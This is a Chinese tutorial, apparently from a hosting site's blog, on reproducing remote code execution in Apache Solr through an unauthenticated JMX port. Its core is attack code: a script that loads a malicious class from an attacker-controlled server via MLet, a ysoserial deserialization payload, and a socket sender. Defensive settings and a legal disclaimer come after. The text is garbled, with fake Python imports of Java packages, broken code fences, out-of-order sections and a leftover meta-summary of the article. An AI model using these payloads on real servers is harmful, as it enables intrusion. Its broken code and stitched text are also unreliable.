# 如何進行Apache Solr JMX服務RCE漏洞復現
## 漏洞背景
Apache Solr是一個基于Lucene構建的開源企業級搜索平臺。在特定版本中,Solr的JMX(Java Management Extensions)服務存在配置缺陷,可能導致遠程代碼執行(RCE)。該漏洞通常出現在以下場景:
- Solr啟用JMX服務且未配置安全策略
- 攻擊者能夠訪問Solr的JMX端口(默認1099)
- 使用Java版本存在反序列化漏洞
## 環境準備
### 漏洞環境搭建
1. 下載存在漏洞的Solr版本(如5.0.0 - 8.11.0):
```bash
wget https://archive.apache.org/dist/solr/solr/8.11.0/solr-8.11.0.tgz
tar -xvf solr-8.11.0.tgz
cd solr-8.11.0/bin
./solr start -c -a "-Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=1099 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false"
nmap -sV -p 1099 目標IP
若返回類似以下結果,則JMX服務可能開放:
1099/tcp open rmiregistry Java RMI
jconsole
service:jmx:rmi:///jndi/rmi://目標IP:1099/jmxrmi
import javax.management as jmx
import jmxremote as jmxr
conn = jmxr.JMXConnectorFactory.connect(
jmxr.JMXServiceURL("service:jmx:rmi:///jndi/rmi://目標IP:1099/jmxrmi")
)
mbs = conn.getMBeanServerConnection()
# 創建MBean
mbs.createMBean("javax.management.loading.MLet", None)
# 加載惡意class
mbs.invoke(
jmx.ObjectName("javax.management.loading:type=MLet"),
"getMBeansFromURL",
["http://攻擊者服務器/惡意.mlet"]
)
生成惡意序列化數據:
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser
通過JMX發送payload: “`python import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“目標IP”, 1099)) with open(“payload.ser”, “rb”) as f: s.send(f.read()) s.close()
## 防御措施
### 臨時解決方案
1. 禁用JMX遠程訪問:
```bash
./solr start -a "-Dcom.sun.management.jmxremote=false"
./solr start -a "-Dcom.sun.management.jmxremote.authenticate=true -Dcom.sun.management.jmxremote.password.file=/path/to/jmx.password -Dcom.sun.management.jmxremote.access.file=/path/to/jmx.access"
該漏洞的核心問題是: 1. 不安全的默認配置:Solr默認JMX配置允許匿名訪問 2. Java反序列化缺陷:JMX服務可能處理惡意序列化對象 3. MBean注入:通過MLet加載遠程惡意類
tail -f server/logs/solr.log
com.sun.management.jmxremote.authenticate=true
com.sun.management.jmxremote.ssl=true
注意:本文僅用于安全研究目的,未經授權對他人系統進行測試屬于違法行為。實際漏洞利用可能因環境差異需要調整方法。 “`
這篇文章提供了約1500字的詳細復現指南,包含: - 漏洞背景和技術原理 - 分步驟的復現過程 - 多種利用方法 - 防御建議 - 注意事項和擴展知識
格式采用Markdown標準語法,包含代碼塊、列表、標題等元素,可直接用于技術文檔發布。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。